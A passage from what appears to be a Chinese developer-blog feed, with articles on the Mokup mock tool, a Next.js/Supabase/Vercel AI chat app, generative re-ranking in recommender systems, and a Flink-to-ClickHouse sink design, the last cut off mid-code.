rustfs:
  client:
    endpoint: 
    access-key: 
    acess-secret: 
    bucket-name: 


management:
  endpoints:
    web:
      exposure:
        include: health, prometheus
  metrics:
    distribution:
      percentiles:
        http:
          server:
            requests: 0.5, 0.75, 0.9, 0.95, 0.99
  1. Fork 仓库 ➜ 点击 GitHub 右上角 Fork 按钮。
  2. 创建分支 ➜ 推荐使用有意义的分支名
  3. 提交代码 ➜ 确保代码可读性高,符合规范。
  4. 提交 Pull Request(PR) ➜ 详细描述您的更改内容,并关联相关 issue(如有)。
  5. 等待审核 ➜ 维护者会进行代码审核并合并。

以上讲解如果对你有帮助,不妨给我的项目点个小小的 star 🌟,成为一下我的精神股东呢

Mokup:构建工具友好的可视化 Mock 工具

作者 icebreaker
2026年2月13日 14:40

devio-cover.jpg

Mokup:构建工具友好的可视化 Mock 工具

大家好呀,我是 icebreaker,一名前端开发者兼开源爱好者。

马上就过年了,在这个特别的时间点,我先祝大家:新年快乐!身体健康!工作顺利!来年发大财!


当然,回归正题,这里也向大家介绍一下我最近做的一个开源项目:Mokup,一个基于文件路由的 HTTP Mock 工具。

我做这个当时的目的,主要是给我团队里的同学用的,想让大家最低成本地在现有前端工程里接入服务端的能力,让大家循序渐进的成为全栈,这样才能在AI时代立足。

项目地址:GitHub , 官网与文档

Mokup 是什么

Mokup 是一个基于文件路由的 HTTP Mock 工具。你把 mock 文件放在 mock/ 目录里,它会自动生成可匹配的路由并提供响应。

它的目标很直接:让 mock 在你已有的前端工程里尽快跑起来,减少“为了联调再造一套服务”的成本。

有什么特性

  • 构建工具友好:Vite / Webpack 都能快速的接入,接入成本极低。
  • 可视化:内置 Playground,路由是否生效一眼可见。
  • 开发体验好:mock 文件和目录配置改完就刷新,不用频繁重启。
  • 能部署到多个环境:本地开发、Node 服务端、Worker、Service Worker 都可用。

为什么要做它

这个实际上也和我自己在我自己的群里,还有公司里的项目组搜集痛点有关,那就是,很多团队的痛点不是“不会写 mock”,而是:

  • 接入步骤多,换个构建工具就要重配一次。
  • 本地排查时看不到全局路由状态,只能翻文件猜。
  • 每改一个 mock 都要重启或手动验证,反馈慢。

Mokup 就是为了解决这三个问题:接入更轻、可视化更强、开发反馈更快。

构建工具友好

Vite 接入

import mokup from 'mokup/vite'

export default {
  plugins: [
    mokup({
      entries: { dir: 'mock', prefix: '/api' },
    }),
  ],
}

然后这时候 你就可以在 mock/ 目录里放 mock 文件了,Mokup 会自动扫描并生成对应的路由。

你也可以在你的 CLI 中快速访问 mokup 的 playground 进行可视化调试

cli.png

Webpack 接入

const { mokupWebpack } = require('mokup/webpack')

const withMokup = mokupWebpack({
  entries: { dir: 'mock', prefix: '/api' },
})

module.exports = withMokup({})

你可以在不改动业务代码结构的情况下,把 mock 能力挂到现有构建流程里。

可视化:Playground(重点)

Mokup 内置 Playground,用来查看当前被扫描到的路由、方法、路径和配置链。

Vite 开发时默认入口:

http://localhost:5173/__mokup

在线体验 Demo:mokup.icebreaker.top/__mokup/

playground.png

它解决的是一个非常实际的问题: 接口不生效时,你不用到处去找问题,只要打开页面就能看到“有没有被扫到、有没有被禁用、匹配到了什么配置”。

开发体验:哪些文件会热更新

在 Vite dev 下,Mokup 会监听 mock 目录变化并自动刷新路由表。常见会触发热更新的改动包括:

  • 新增/修改/删除 mock 路由文件,例如:
    • mock/users.get.ts
    • mock/messages.get.json
    • mock/orders/[id].patch.ts
  • 修改目录配置文件:mock/**/index.config.ts
  • 调整目录结构(移动、重命名、创建子目录)

改完后 Playground 会自动刷新路由列表,调试链路更短。

如果你不需要监听,可以在 entries 里配置 watch: false

快速示例:从写文件到看到结果

// mock/users.get.ts
import { defineHandler } from 'mokup'

export default defineHandler({
  handler: c => c.json([{ id: 1, name: 'Ada' }]),
})

启动 dev 后访问 /api/users (你设置了 prefix: '/api' ),即可拿到 mock 数据。

mock-dir.png

快速集成 @faker-js/faker

@faker-js/faker 是我们造假数据最常使用的库了,这里也可以很好的和它集成

Mokup 的 handler 本质上就是 TS/JS 函数,所以能直接接入 @faker-js/faker 这类 mock 数据库,不需要额外适配层。

下面这个示例会根据查询参数 size 返回一组用户列表:

// mock/users.get.ts
import { faker } from '@faker-js/faker'
import { defineHandler } from 'mokup'

export default defineHandler((c) => {
  const size = Number(c.req.query('size') ?? 10)
  const count = Number.isNaN(size) ? 10 : Math.min(Math.max(size, 1), 50)
  const list = Array.from({ length: count }, () => ({
    id: faker.string.uuid(),
    name: faker.person.fullName(),
    email: faker.internet.email(),
    city: faker.location.city(),
    createdAt: faker.date.recent({ days: 30 }).toISOString(),
  }))

  return c.json({
    list,
    total: 200,
    page: 1,
    pageSize: count,
  })
})

这对列表页、搜索页、详情页联调都很实用。 如果你希望测试结果可复现,可以在 handler 顶部加上 faker.seed(123)

可部署到多个环境

这套 mock 可以运行在多个环境:比如在 Node.js 里直接使用,甚至还能部署到 Cloudflare Worker。

Node.js 直接使用示例:

import { createFetchServer, serve } from 'mokup/server/node'

const app = await createFetchServer({ entries: { dir: 'mock' } })
serve({ fetch: app.fetch, port: 3000 })

部署到 Cloudflare Worker 示例:

import { createMokupWorker } from 'mokup/server/worker'
import mokupBundle from 'virtual:mokup-bundle'

export default createMokupWorker(mokupBundle)

提示:virtual:mokup-bundle 仅在 Vite 与 @cloudflare/vite-plugin 集成环境可用;Node.js Dev 模式可直接使用 createFetchServer,无需该虚拟模块。

核心架构

core-zh.jpg

适用场景与边界

适合:

  • 已有 Vite/webpack 工程,想低成本接入 mock 的团队
  • 需要可视化路由排查能力的项目
  • 重视开发反馈速度,希望 mock 修改后立即可见的场景

不太适合:

  • 主要依赖复杂动态代理链路的场景
  • 完全不希望引入构建期/插件能力的极轻量脚本方案

Mokup 不是为了替代所有 mock 方案,而是让 mock 更快接入、更好调试、更贴近日常开发流程。

AI 友好性

都已经在这个时代了,怎么能不用 AI 呢, Mokup 当时设计就是考虑到 AI 时代的开发者需求的,所以在设计上也做了一些 AI 友好的考虑,

毕竟时代变了,我们也像纺纱机的工人那样,换到了蒸汽纺纱机,每天奴役 AI 24小时帮我们打工,爽是真的爽,验证问题效率极高。

而且很多开发是懒得写文档的,现在文档什么完全不是问题,就像这篇文章,大部分也是由AI生成的。

结语

Mokup 目前还在快速迭代中,欢迎大家试用并提反馈!无论是功能需求、使用体验还是文档改进都非常欢迎。

如果你也有类似的痛点,或者对 mock 工具有什么想法,也欢迎在评论区交流!我们一起让前端 mock 更好用、更高效!

有志同道合的小伙伴,也可以访问我的 Github 主页联系我一起交流!

Next.js 16 + Supabase + Vercel:SmartChat 全栈 AI 应用架构实战

作者 梦里寻码
2026年2月13日 01:19

前言

全栈 AI 应用怎么选技术栈?这个问题没有标准答案,但 SmartChat 的选择——Next.js 16 + Supabase + Vercel——是一套经过验证的高效组合。本文从架构角度拆解这套技术栈的设计思路。

🔗 项目地址:smartchat.nofx.asia/

微信图片_20260212194724_46_236.png

一、为什么是 Next.js 16?

SmartChat 使用 Next.js 16 的 App Router,充分利用了以下特性:

Server Components: 仪表盘页面使用 Server Components 直接在服务端查询数据库,减少客户端 JS 体积。

API Routes(Serverless): 所有后端逻辑通过 API Routes 实现,无需维护独立的后端服务。

src/app/api/
├── chat/          # 聊天接口(SSE 流式)
├── bots/          # 机器人 CRUD
├── upload/        # 文档上传与向量化
└── conversations/ # 对话管理

Turbopack: 开发环境使用 Turbopack,热更新速度显著提升。

关键优势:前后端同仓库、同语言(TypeScript)、同部署,极大降低了开发和运维复杂度。

二、Supabase:不只是数据库

SmartChat 用 Supabase 承担了多个角色:

2.1 PostgreSQL 数据库 + pgvector

-- 业务数据和向量数据在同一个库
CREATE TABLE document_chunks (
  id uuid PRIMARY KEY,
  bot_id uuid REFERENCES bots(id) ON DELETE CASCADE,
  content text,
  embedding vector(512),  -- pgvector 向量列
  metadata jsonb
);

-- IVFFlat 索引加速向量检索
CREATE INDEX ON document_chunks
  USING ivfflat (embedding vector_cosine_ops)
  WITH (lists = 100);

2.2 用户认证(Supabase Auth)

内置邮箱/密码、OAuth 登录,无需自建认证系统。

2.3 行级安全(RLS)

-- 用户只能访问自己的机器人
CREATE POLICY "Users can only access own bots" ON bots
  FOR ALL USING (auth.uid() = user_id);

-- 匿名访客可以查看公开的机器人配置
CREATE POLICY "Public bot access" ON bots
  FOR SELECT USING (is_public = true);

RLS 确保了多租户数据隔离,同时通过 Service Role 客户端允许匿名访客与机器人对话。

2.4 文件存储

文档上传使用 Supabase Storage,统一管理。

SmartChat Dashboard转存失败,建议直接上传图片文件

三、可嵌入组件设计

SmartChat 的一大亮点是一行代码嵌入任何网站

<script src="https://your-domain.com/embed.js" data-bot-id="xxx"></script>

实现原理:

// embed.js 核心逻辑
(function() {
  const botId = document.currentScript.getAttribute('data-bot-id');

  // 创建 iframe 容器
  const iframe = document.createElement('iframe');
  iframe.src = `https://your-domain.com/chat/${botId}?embed=true`;
  iframe.style.cssText = 'position:fixed;bottom:20px;right:20px;...';

  // 创建触发按钮
  const button = document.createElement('div');
  button.onclick = () => iframe.classList.toggle('visible');

  document.body.appendChild(button);
  document.body.appendChild(iframe);
})();

通过 iframe 隔离样式和脚本,避免与宿主网站冲突。聊天界面的颜色、头像、欢迎语都可以在后台自定义。

微信图片_20260212194756_49_236.png

微信图片_20260212194810_51_236.png

四、SSE 流式响应架构

SmartChat 使用 Server-Sent Events 实现实时流式输出:

// API Route: /api/chat
export async function POST(req: Request) {
  const { message, botId, conversationId } = await req.json();

  // 1. 向量检索相关文档
  const relevantDocs = await searchDocuments(message, botId);

  // 2. 构建带上下文的 Prompt
  const messages = await buildMessages(conversationId, relevantDocs);

  // 3. 流式调用 LLM
  const stream = await streamChat({ provider, model, messages });

  // 4. 返回 SSE 流
  return new Response(
    new ReadableStream({
      async start(controller) {
        let fullResponse = '';
        for await (const chunk of stream) {
          const text = extractText(chunk);
          fullResponse += text;
          controller.enqueue(`data: ${JSON.stringify({ text })}\n\n`);
        }
        // 5. 流结束后,附加来源信息
        controller.enqueue(`data: ${JSON.stringify({
          sources: relevantDocs
        })}\n\n`);
        controller.close();

        // 6. 异步保存完整回复到数据库
        await saveMessage(conversationId, fullResponse, relevantDocs);
      }
    }),
    { headers: { 'Content-Type': 'text/event-stream' } }
  );
}

流程:向量检索 → 构建 Prompt → 流式生成 → 实时推送 → 保存记录。

五、Vercel 一键部署

SmartChat 的 Serverless 架构天然适合 Vercel 部署:

  • 零服务器管理:API Routes 自动变成 Serverless Functions
  • 全球 CDN:静态资源自动分发
  • 自动扩缩容:流量高峰自动扩容,空闲时零成本
  • 环境变量管理:在 Vercel Dashboard 配置 API Keys 等敏感信息

部署流程:Fork 仓库 → 连接 Vercel → 配置环境变量 → 部署完成。

六、性能优化要点

  • React 19 + Turbopack:开发体验和构建速度大幅提升
  • Server Components:减少客户端 JS 体积
  • 流式渲染:用户无需等待完整回复
  • IVFFlat 索引:向量检索毫秒级响应
  • 批量写入:文档分块后每 10 条一批插入,避免超时

总结

Next.js + Supabase + Vercel 这套组合的核心优势是简单:一个仓库、一种语言、一键部署。对于中小团队做 AI 应用,这可能是目前投入产出比最高的技术栈选择。SmartChat 是这套架构的一个完整实践案例。

🔗 项目地址:smartchat.nofx.asia/,MIT 开源协议,支持一键部署到 Vercel。

社区推荐重排技术:双阶段框架的实践与演进|得物技术

作者 得物技术
2026年2月12日 13:48

一、背景

推荐系统典型pipeline

在推荐系统多阶段Pipeline(召回→粗排→精排→重排)中,重排作为最终决策环节,承担着将精排输出的有限候选集(通常为Top 100–500个Item)转化为最优序列的关键职责。数学定义为在给定候选集C={x1,x2,,xn}C = \lbrace x_1,x_2,……,x_n \rbrace与目标列表长度LL,重排的目标是寻找一个排列πP(C,L)\pi^* \in P(C,L),使得全局收益函数最大化。

在推荐系统、搜索排序等AI领域,Pointwise 建模是精排阶段的核心方法,即对每个 Item 独立打分后排序,pointwise 建模范式面临挑战:

  • 多样性约束:精排按 item 独立打分排序 → 高分 item 往往语义/类目高度同质(如5个相似短视频连续曝光)。
  • 位置偏差:用户注意力随位置显著衰减,且不同item对位置敏感度不同。
  • 上下文建模:用户决策是序列行为,而非独立事件。

二、重排架构演进:生成式模型实践

我们的重排系统采用G-E两阶段协同框架:

  • 生成阶段(Generation):高效生成若干高质量候选排列。
  • 评估阶段(Evaluation):对候选排列进行精细化打分,选出全局最优结果。

不考虑算力和耗时的情况下,通过穷举所有排列P(C,L)P(C,L)

生成阶段主要依赖启发式规则、随机扰动 + beamSearch算法生成候选list,双阶段范式存在显著的痛点:

  • 质量-延迟-多样性的“不可能三角”:在实践中,增加生成候选list数一般可以提升最终list的质量,但边际收益递减;优化过程中,我们通过增加多目标、多样性等策略都取得了消费指标的提升,但在候选list达到百量级时,单纯增加候选集对指标的提升,同时还有:
  1. 增加beam width,系统耗时增加,DCG@K提升逐渐减少。

  2. 增加通道数,通道间重叠度逐渐增加,去重list增加逐渐减少。

  • 阶段间目标不一致:
  1. 分布偏移:启发式生成Beam Search输出的Top排列中,20%被评估模型否定,生成阶段搜索效率浪费。

  2. 梯度断层:Beam Search含argmax操作,双阶段无法端到端优化;生成模型无法感知评估反馈,优化方向偏离全局最优。

生成模型优化

生成分为启发式方法和生成式模型方法, 一般认为生成式模型方法要好于启发式方法。生成式模型逐渐成为重排主流范式,主要分为两类:自回归生成模型、非自回归生成模型。

  • 自回归生成:按位置顺序逐个生成物品,第 t 位的预测依赖前 t-1 位已生成结果。
  1. 优点:

a. 序列依赖建模强,天然捕获物品间的顺序依赖。

b. 训练简单稳定,每步使用真实前序作为输入,收敛快。

c. 生成质量高,逐步细化决策,适合长序列精细优化。

  1. 缺点:

a. 推理延迟高,生成 L 个物品需 L 次前向传播,线上服务难以满足毫秒级要求。

b. 局部最优风险,早期错误决策无法回溯修正,影响整体序列质量。

  • 非自回归生成:一次性预测整个推荐序列的所有位置,各位置预测相互独立。
  1. 优点:

a. 推理速度极快:生成整个序列仅需1次前向传播。

2.缺点:

b.条件独立性假设过强:各位置并行预测,难以显式建模物品间复杂依赖关系。

非自回归模型

为了对齐双阶段一致性,同时考虑线上性能,我们推进了非自回归模型的上线。模型结构如下图:

模型包括Candidates Encoder和Position Encoder,Candidates Encoder是标准的Transformer结构, 用于获取item间的交互信息;Position Encoder额外增加了Cross Attention,期望Position序列同时关注Candidate序列。

  • 模型特征:用户信息、item特征、位置信息、上游精排打分特征。
  • 模型输出:一次性输出 n×L 的位置-物品得分矩阵(n 为候选 item 数,L 为目标列表长度),支持高效并行推理
p^ij=exp(xitj)i=1nexp(xitj)\hat{p}_{ij} = \frac{\exp(\mathbf{x}_i^\top \mathbf{t}_j)}{\sum_{i=1}^n \exp(\mathbf{x}_i^\top \mathbf{t}_j)}
  • 位置感知建模:引入可学习位置嵌入,显式建模“同一 item 在不同位置表现不同”的现象(如首屏效应、位置衰减)。
  • 训练目标:模型使用logloss,让正反馈label序列的生成概率最大, 同时负反馈label序列的生成概率最小:
Llog=i[pijyilog(pij^)+pij(1yi)log(1pij^)]\mathcal{L}_{\log} = -\sum_{i} \big[ p_{ij}y_i \log(\hat{p_{ij}}) + p_{ij}(1-y_i) \log(1-\hat{p_{ij}}) \big]

其中,pijp_{ij}表示位置i上是否展示物品j,yiy_{i}表示位置i上的label。

线上实验及收益:

  • 一期新增了非自回归生成通道,pvctr +0.6%,时长+0.55%。
  • 二期在所有通道排序因子中bagging非自回归模型,pvctr +1.0%,时长+1.13%。

自回归模型

由于条件独立性假设, 非自回归模型对上下文信息建模是不够的,近期我们重点推进了自回归模型的开发。

模型通过Transformer架构建模list整体收益,我们使用单向transformer模拟用户浏览行为的因果性,同时解决自回归生成的暴露偏差问题,保持训练和推理的一致性。结构如下:

  • 模型特征:用户信息、item特征、位置信息、上游精排打分特征。
  • 训练目标:模型使用有序回归loss,在评估多个回合中不同长度的子列表时,能够很好地体现出序列中的增量价值。是用于判断长度为j的子列表是否已经达到i次点击或转化的损失函数。
Li,j(θj)=k=1N([yk<i]log(1pi,j(xk))+[yki]log(pi,j(xk)))L_{i,j}(\theta_j) = -\sum_{k=1}^{N} \left([y_k < i]\log(1-p_{i,j}(x_k)) + [y_k \geq i]\log(p_{i,j}(x_k))\right)

线上模型推理效率优化及实验效果:

自回归生成模型推理延迟高,生成 L 个物品需 L 次前向传播,线上服务难以满足毫秒级要求。因此,我们在传统自回归生成模型的基础上增加MTP(multi token prediction)结构,突破生成式重排模型推理瓶颈。其核心思想是将传统自回归的单步预测扩展为单步多token联合预测,显著减少生成迭代次数。

自回归生成模型在社区推荐已完成了推全,实验中我们新增了自回归生成模型通道,但不是完全体,仅部分位置生成调用了模型:

  • 一期调用两次模型,每次预测4个位置,pvctr +0.69%,有效vv +0.58%。
  • 二期调用两次模型,每次预测5个位置,pvctr +0.54%,有效vv +0.40%。

三、推理性能优化:端到端生成的效率保障

工程架构

为解决CPU推理模型延迟高、制约业务效果的问题,我们对DScatter模型服务进行升级,引入高性能GPU推理能力,具体方案如下:

  • GPU推理框架集成与升级:
  1. 框架升级:将现有依赖的推理框架升级为支持GPU的高性能服务框架。

  2. 硬件资源引入:引入 NVIDIA L20 等专业推理显卡,为当前的listwise评估模型及自回归生成模型提供专用算力,实现模型推理的硬件加速。

  • DScatter模型服务独立部署与容量提升:
  1. 为解决模型部署效率低与资源竞争问题,将DScatter的模型打分逻辑从现有重排服务中完全解耦,构建并部署独立的 DScatter-Model-Server 集群,从根本上消除与重排服务在CPU、内存等关键资源上的竞争。

模型优化

  • 模型格式转换与加速:

导出为 ONNX 格式,使用 TensorRT 进行量化、层融合、动态张量显存等技术加速推理。

  • Item Embedding缓存:

预计算item静态网络,线上直接查询节省计算量。

  • 自回归生成模型核心优化,KV Cache 复用:

缓存已生成token的KV和attention值,仅计算增量token相关值,避免重复计算。

  • 其他LLM推理加速技术应用落地,例如GQA

四、未来规划:迈向端到端序列生成的下一代重排架构

当前“生成-评估”双阶段范式虽在工程落地性上取得平衡,但其本质仍是局部优化:生成阶段依赖启发式规则或浅层模型生成候选,评估阶段虽能识别优质序列,却无法反向指导生成过程,导致系统能力存在理论上限。为突破这一瓶颈,我们规划构建端到端序列生成(End-to-End Sequence Generation) 架构,将重排从“候选筛选”升级为“序列创造”,直接以全局业务目标(如用户停留时长、互动深度、内容生态健康度)为优化目标。

核心架构设计:

  • 统一生成器:以 Transformer 为基础架构,搭建自回归序列建模能力,采用分层混合生成策略:
  1. 粗粒度并行生成:首层预测序列骨架(如类目分布、内容密度)等。

  2. 细粒度自回归精调:在骨架约束下,自回归生成具体 item,确保局部最优。

  • 序列级Reward Modeling:
  1. 构建多目标 reward 函数:xtr、多样性。

  2. Engagement:基于用户滑动轨迹建模序列累积收益(如滑动深度加权CTR)。

  3. Diversity:跨类目/创作者/内容形式的分布熵。

4.Fairness:冷启内容、长尾创作者曝光保障。

训练范式升级:强化学习与对比学习融合

推进自回归生成模型的架构升级与训练体系重构,引入强化学习微调(PPO/DPO)与对比学习机制,提升序列整体效率。

  • 搭建近线系统,生成高质量list候选,提升系统能力上限:

1.基于 DCG 的列表质量打分:

a. 对每个曝光列表L,计算其 DCG@K作为质量分数:

DCG(L)=j=1Kgain(itemj)log2(j+1)\text{DCG}(L) = \sum_{j=1}^{K} \frac{\text{gain}(item_j)}{\log_2(j + 1)}

其中 gain(item)可定义为:

若点击:+1.0

若互动(点赞/收藏):+1.5

若观看 >5s:+0.8

否则:0

2.构造偏好对:

a.对同一用户在同一上下文下的两个列表 LwL_w(win)和 LlL_l(lose)。

b.若 DCG(Lw)>DCG(Ll)+δDCG(L_w) > DCG(L_l) + \delta(δ 为 margin,如 0.1),则构成一个有效偏好对。

  • 引入强化学习微调(PPO/DPO)与对比学习机制,提升序列整体效率:
  1. 模型结构:

a.使用当前自回归生成模型作为策略模型。

b.固定预训练模型作为参考策略 (即 DPO 中的“旧策略”)。

2.DPO损失:

LDPO(θ)=E(x,yw,yl)D[logσ(β(logπθ(ywx)πref(ywx)logπθ(ylx)πref(ylx)))]\mathcal{L}_{\text{DPO}}(\theta) = -\mathbb{E}_{(x, y_w, y_l) \sim \mathcal{D}} \left[ \log \sigma \left( \beta \left( \log \frac{\pi_\theta(y_w \mid x)}{\pi_{\text{ref}}(y_w \mid x)} - \log \frac{\pi_\theta(y_l \mid x)}{\pi_{\text{ref}}(y_l \mid x)} \right) \right) \right]
  • 技术价值:
  1. 突破“质量-延迟-多样性”不可能三角:通过序列级优化,在同等延迟下实现质量与多样性双提升。

  2. 为AIGC与推荐融合铺路:端到端生成器可无缝接入AIGC内容,实现“内容生成-序列编排”一体化。

参考文献:

  1. Gloeckle F, Idrissi B Y, Rozière B, et al. Better & faster large language models via multi-token prediction[J]. arXiv preprint arXiv:2404.19737, 2024.
  2. Ren Y, Yang Q, Wu Y, et al. Non-autoregressive generative models for reranking recommendation[C]//Proceedings of the 30th ACM SIGKDD Conference on Knowledge Discovery and Data Mining. 2024: 5625-5634.
  3. Meng Y, Guo C, Cao Y, et al. A generative re-ranking model for list-level multi-objective optimization at taobao[C]//Proceedings of the 48th International ACM SIGIR Conference on Research and Development in Information Retrieval. 2025: 4213-4218.
  4. Zhao X, Xia L, Zhang L, et al. Deep reinforcement learning for page-wise recommendations[C]//Proceedings of the 12th ACM conference on recommender systems. 2018: 95-103.
  5. Feng Y, Hu B, Gong Y, et al. GRN: Generative Rerank Network for Context-wise Recommendation[J]. arXiv preprint arXiv:2104.00860, 2021.
  6. Pang L, Xu J, Ai Q, et al. Setrank: Learning a permutation-invariant ranking model for information retrieval[C]//Proceedings of the 43rd international ACM SIGIR conference on research and development in information retrieval. 2020: 499-508.

往期回顾

1.Flink ClickHouse Sink:生产级高可用写入方案|得物技术

2.服务拆分之旅:测试过程全揭秘|得物技术

3.大模型网关:大模型时代的智能交通枢纽|得物技术

4.从“人治”到“机治”:得物离线数仓发布流水线质量门禁实践

5.AI编程实践:从Claude Code实践到团队协作的优化思考|得物技术

文 /张卓

关注得物技术,每周一、三更新技术干货

要是觉得文章对你有帮助的话,欢迎评论转发点赞~

未经得物技术许可严禁转载,否则依法追究法律责任。

Flink ClickHouse Sink:生产级高可用写入方案|得物技术

作者 得物技术
2026年2月10日 11:11

一、背景与痛点

业务场景

在实时大数据处理场景中,Flink + ClickHouse 的组合被广泛应用于:

  • 日志处理: 海量应用日志实时写入分析库。
  • 监控分析: 业务指标、APM 数据的实时聚合。

这些场景的共同特点:

  • 数据量大:百万级 TPS,峰值可达千万级。
  • 写入延迟敏感: 需要秒级可见。
  • 数据准确性要求高:不允许数据丢失。
  • 多表写入: 不同数据根据分表策略写入不同的表。

开源 Flink ClickHouse Sink 的痛点

Flink 官方提供的 ClickHouse Sink(flink-connector-jdbc)在生产环境中存在以下严重问题:

痛点一:缺乏基于数据量的攒批机制

问题表现:

// Flink 官方 JDBC Sink 的实现
public class JdbcSink<Textends RichSinkFunction<T> {
    private final int batchSize;  // 固定批次大小
    @Override
    public void invoke(value, Context context) {
        bufferedValues.add(value);
        if (bufferedValues.size() >= batchSize) {
            // 只能基于记录数攒批,无法基于数据量
            flush();
        }
    }

带来的问题:

  1. 内存占用不可控: 100 条 1KB 的日志和 100 条 10MB 的日志占用内存差距 100 倍。
  2. OOM 风险高: 大日志记录(如堆栈转储)会迅速撑爆内存。
  3. 写入性能差: 无法根据记录大小动态调整批次,导致小记录批次过大浪费网络开销。

痛点二:无法支持动态表结构

问题表现:

// Flink 官方 Sink 只能写入固定表
public class JdbcSink {
    private final String sql;  // 固定的 INSERT SQL
    public JdbcSink(String jdbcUrl, String sql, ...) {
        this.sql = sql;  // 硬编码的表结构
    }
}

带来的问题:

  1. 多应用无法隔离: 所有应用的数据写入同一张表,通过特定分表策略区分。
  2. 扩展性差: 新增应用需要手动建表,无法动态路由。
  3. 性能瓶颈: 单表数据量过大(百亿级),查询和写入性能急剧下降。

痛点三:分布式表写入性能问题

问题表现:

// 大多数生产实现直接写入分布式表
INSERT INTO distributed_table_all VALUES (...)

ClickHouse 分布式表的工作原理:

带来的问题:

  1. 网络开销大: 数据需要经过分布式表层转发,延迟增加。
  2. 写入性能差: 分布式表增加了路由和转发逻辑,吞吐量降低。
  3. 热点问题: 所有数据先到分布式表节点,再转发,造成单点瓶颈。

生产级方案的核心改进

针对以上痛点,本方案提供了以下核心改进:

改进一:基于数据量的攒批机制

public class ClickHouseSinkCounter {
    private Long metaSize;  // 累计数据量(字节)
    public void add(LogModel value) {
        this.values.add(value);
        this.metaSize += value.getMetaSize();  // 累加数据量
    }
}
// 触发条件
private boolean flushCondition(String application) {
    return checkMetaSize(application)  // metaSize >= 10000 字节
        || checkTime(application);     // 或超时 30 秒
}

优势:

  • 内存可控: 根据数据量而非记录数攒批。
  • 精确控制: 1KB 的记录攒 10000 条 = 10MB,1MB 的记录攒 10 条 = 10MB。
  • 避免OOM: 大日志记录不会撑爆内存。

改进二:动态表结构与分片策略

public abstract class ClickHouseShardStrategy<T> {
    public abstract String getTableName(T data);
}
//日志侧实现为应用级分表
public class LogClickHouseShardStrategy extends ClickHouseShardStrategy<String> {
    @Override
    public String getTableName(String application) {
        // 动态路由:order-service → tb_logs_order_service
        return String.format("tb_logs_%s", application);
    }
}

优势:

  • 应用隔离: 日志侧内置应用级分表,每个应用独立分表。
  • 动态路由: 根据 application 自动路由到目标表。
  • 扩展性强: 新增应用无需手动建表(配合 ClickHouse 自动建表)。

改进三:本地表写入 + 动态节点发现

public class ClickHouseLocalWriter extends ClickHouseWriter {
    // 直接写本地表,避免分布式表转发
    private final ConcurrentMap<String, HikariDataSource> dataSourceMap;
    @Override
    public HikariDataSource getNextDataSource(Set<String> exceptionHosts) {
        // 1. 动态获取集群节点列表
        List<String> healthyHosts = getHealthyHosts(exceptionHosts);
        // 2. 随机选择健康节点
        return dataSourceMap.get(healthyHosts.get(random.nextInt(size)));
    }
}

优势:

  • 性能提升: 直接写本地表,避免网络转发。
  • 高可用: 动态节点发现 + 故障节点剔除。
  • 负载均衡: 随机选择 + Shuffle 初始化。

技术方案概览

基于以上改进,本方案提供了以下核心能力:

  1. 本地表/分布式表写入: 性能优化与高可用平衡。
  2. 分片策略: 按应用维度路由与隔离。
  3. 攒批与内存控制: 双触发机制(数据量 + 超时)。
  4. 流量控制与限流: 有界队列 + 连接池。
  5. 健壮的重试机制: 递归重试 + 故障节点剔除。
  6. Checkpoint 语义保证: At-Least-Once 数据一致性。

二、核心架构设计

架构图

核心组件

核心流程

三、本地表 vs 分布式表写入

ClickHouse 表结构说明

ClickHouse 推荐直接写本地表,原因:

  1. 写入性能: 避免分布式表的网络分发。
  2. 数据一致性: 直接写入目标节点,减少中间环节故障点,比分布式表写入更安全,利于工程化。
  3. 负载均衡: 客户端路由实现负载分散。
-- 本地表(实际存储数据)
CREATE TABLE tb_logs_local ON CLUSTER 'default' (
    application String,
    environment String,
    message String,
    log_time DateTime
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(log_time)
ORDER BY (application, log_time);
-- 分布式表(逻辑视图,不存储数据)
CREATE TABLE tb_logs_all ON CLUSTER 'default' AS tb_logs_local
ENGINE = Distributed('default', dw_log, tb_logs_local, cityHash64(application));

HikariCP 连接池配置

// HikariCP 连接池配置
public class ClickHouseDataSourceUtils {
    private static HikariConfig getHikariConfig(DataSourceImpl dataSource) {
        HikariConfig config = new HikariConfig();
        config.setConnectionTimeout(30000L);    // 连接超时 30s
        config.setMaximumPoolSize(20);          // 最大连接数 20
        config.setMinimumIdle(2);               // 最小空闲 2
        config.setDataSource(dataSource);
        return config;
    }
    private static Properties getClickHouseProperties(ClickHouseSinkCommonParams params) {
        Properties props = new Properties();
        props.setProperty("user", params.getUser());
        props.setProperty("password", params.getPassword());
        props.setProperty("database", params.getDatabase());
        props.setProperty("socket_timeout""180000");      // Socket 超时 3 分钟
        props.setProperty("socket_keepalive""true");      // 保持连接
        props.setProperty("http_connection_provider""APACHE_HTTP_CLIENT");
        return props;
    }
}

配置说明:

  • maxPoolSize=20:每个 ClickHouse 节点最多 20 个连接。
  • minIdle=2:保持 2 个空闲连接,避免频繁创建。
  • socket_timeout=180s:Socket 超时 3 分钟,防止长时间查询阻塞。

ClickHouseLocalWriter:动态节点发现

public class ClickHouseLocalWriter extends ClickHouseWriter {
    // 本地节点缓存,按 IP 维护
    private final ConcurrentMap<StringHikariDataSource> dataSourceMap;
    // 动态获取集群本地表节点
    private final ClusterIpsUtils clusterIpsUtils;
    // IP 变更标志(CAS 锁,避免并发更新)
    private static final AtomicBoolean IP_CHANGING = new AtomicBoolean(false);
    @Override
    public HikariDataSource getNextDataSource(Set<String> exceptionHosts) {
        // 1️⃣ 检测集群节点变化(通过 CAS 避免并发更新)
        if (clusterIpsChanged() && IP_CHANGING.compareAndSet(falsetrue)) {
            try {
                ipChanged(); // 动态更新 dataSourceMap
            } finally {
                IP_CHANGING.set(false);
            }
        }
        // 2️⃣ 获取异常节点列表(从 Redis + APM 实时查询)
        Set<String> exceptIps = clusterIpsUtils.getExceptIps();
        exceptIps.addAll(exceptionHosts);
        // 3️⃣ 过滤健康节点,随机选择
        List<String> healthyHosts = dataSourceMap.keySet().stream()
            .filter(host -> !exceptIps.contains(host))
            .collect(Collectors.toList());
        if (CollectionUtils.isEmpty(healthyHosts)) {
            throw new RuntimeException("Can't get datasource from local cache");
        }
        return dataSourceMap.get(healthyHosts.get(random.nextInt(healthyHosts.size())));
    }
    private void ipChanged() {
        List<String> clusterIps = clusterIpsUtils.getClusterIps();
        // 新增节点:自动创建连接池
        clusterIps.forEach(ip ->
            dataSourceMap.computeIfAbsent(ip, v ->
                createHikariDataSource(ip, port)
            )
        );
        // 移除下线节点:关闭连接池
        dataSourceMap.forEach((ip, ds) -> {
            if (!clusterIps.contains(ip)) {
